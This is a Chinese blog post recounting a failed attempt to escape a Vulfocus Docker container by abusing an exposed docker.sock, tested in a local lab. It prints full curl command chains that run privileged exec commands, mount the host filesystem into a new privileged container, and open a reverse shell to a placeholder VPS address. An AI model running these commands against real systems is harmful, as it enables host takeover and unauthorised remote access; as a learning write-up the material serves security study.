这是一次失败docker逃逸尝试的记录,觉得还算有意思,就记录下。
Vulfocus 介绍
Vulfocus 是一个漏洞集成平台,将漏洞环境 docker 镜像,放入即可使用,开箱即用
Vulfocus是白帽汇公司开发的一款基于docker的漏洞平台,类似的有Vulhub等。
如果仅需要尝试使用、不想自己创建环境的话,可以使用官方的站点 http://vulfocus.fofa.so/。
Vulfocus安装十分简单,只需要安装好docker,参照官方文档即可完成安装。
与官方文档说明不同的是,我个人在Windows 10 上的操作经验是:
- 将
VUL_IP=xxx.xxx.xxx.xxx设置为127.0.0.1,而官方不建议这么做,可能操作系统不同。
- 将端口设置为非
80端口
Docker 逃逸
最开始查看关于docker逃逸的文章,主要是下面两篇:
- https://www.redtimmy.com/a-tale-of-escaping-a-hardened-docker-container/
- https://dejandayoff.com/the-danger-of-exposing-docker.sock/
大致的原理是:如果docker虚拟环境开放了/var/run/docker.sock,那么可以通过/var/run/docker.sock对docker进行操纵,最终实现docker逃逸的效果。
执行的命令放在下面gist上了。 https://gist.github.com/mark0smith/38216cb2657119d0ca3a263701056930
逃逸的尝试
我在本机搭建了Vulfocus环境,启动环境,然后进入Vulfocus容器(Container)的CLI界面。

执行命令,并获取命令执行结果
这部分几乎没有意义,如果有shell了,可以直接在shell里面执行命令。🤣
检查发现/var/run/docker.sock文件存在:

查看目前运行中的容器ID

创建exec对象

执行exec对象,并将回显写入文件;这里按道理可以直接返回命令执行结果,可能/bin/sh里支持的不是很好,会出错、不显示,bash上好像也有问题😣。


执行过程完整的代码如下:
ls -alh /var/run/docker.sock curl -i -s --unix-socket /var/run/docker.sock -X GET http://localhost/containers/json curl -i -s --unix-socket /var/run/docker.sock -x POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": false,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat","/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": false}' http://localhost/containers/cb71e5160c544f5eeb1028d96510c63b95333e1145654d7ab92002d21322a114/exec curl -vvv -s --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' --data-binary '{"Detach": false,"Tty": false}' http://localhost/exec/a3aecdfa07306341d1d5a894b352678158bd23f5b6e362e63cb90b9f67ad73bd/start -o 1.txt cat 1.txt
|
逃逸容器,获取宿主机信息
逃逸容器的思路是获取一个Linux操作系统的镜像文件,然后创建容器、将宿主机的文件系统挂载至容器内,访问容器挂载目录即可以访问宿主机文件。
首先,获取最新版本的Ubuntu镜像。注意curl命令的URL参数需要使用引号或双引号包起来,不然会下载所有版本Ubuntu镜像。
也可以提前查看宿主机上的镜像,具体参考docker 的 API文档。

然后,创建容器并挂载系统文件至容器内。

然后,启动刚才创建的容器。

然后,并在容器里创建Exec对象。采用了反弹shell的方式,执行的命令为 bash -c "bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/8989 0>&1"

最后,在VPS上监听对应端口,然后在docker里执行刚才创建的Exec对象,即可以得到一个反弹shell了。
windows上的docker桌面版对应文件路径是/hostos/run/desktop/mnt/host/。


逃逸过程完整的代码如下:
ls -alh /var/run/docker.sock curl -i -s -k --unix-socket /var/run/docker.sock -X 'POST' -H 'Content-Type: application/json' "http://localhost/images/create?fromImage=ubuntu&tag=latest" curl -i -s -k -X 'POST' -H 'Content-Type: application/json' --unix-socket /var/run/docker.sock --data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu:latest","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}, "Privileged": true}' http://localhost/containers/create curl -i -s --unix-socket /var/run/docker.sock -x POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["bash","-c","bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/8989 0>&1"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' http://localhost/containers/234184b5d895415bd90be7d05fc103d6020de1f08e22d576cd42b0e99c9a8c66/exec curl -s --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' --data-binary '{"Detach": true,"Tty": true}' http://localhost/exec/9a320b53814c2ffe19c94c8321ef37218fdb632dc5aa1ff30862a3604157c12b/start
|
总结复盘
当我问过vulfocus负责人,打算在 http://vulfocus.fofa.so/ 进行尝试时,发现我没有Vulfocus容器的shell。
也就是说我需要找到一个Vulfocus的shell才能进行逃逸,简单查看了一些漏洞镜像,又都关闭了/var/run/docker.sock,所以就没办法逃逸了。
经验教训是:
- 本地测试时需要尽可能复原,不要主观臆想创造条件
- curl的URL参数一定要用引号包起来
- 出了问题多看出错记录、API文档
参考链接
- https://www.redtimmy.com/a-tale-of-escaping-a-hardened-docker-container/
- https://dejandayoff.com/the-danger-of-exposing-docker.sock/
- https://docs.docker.com/engine/api/v1.41/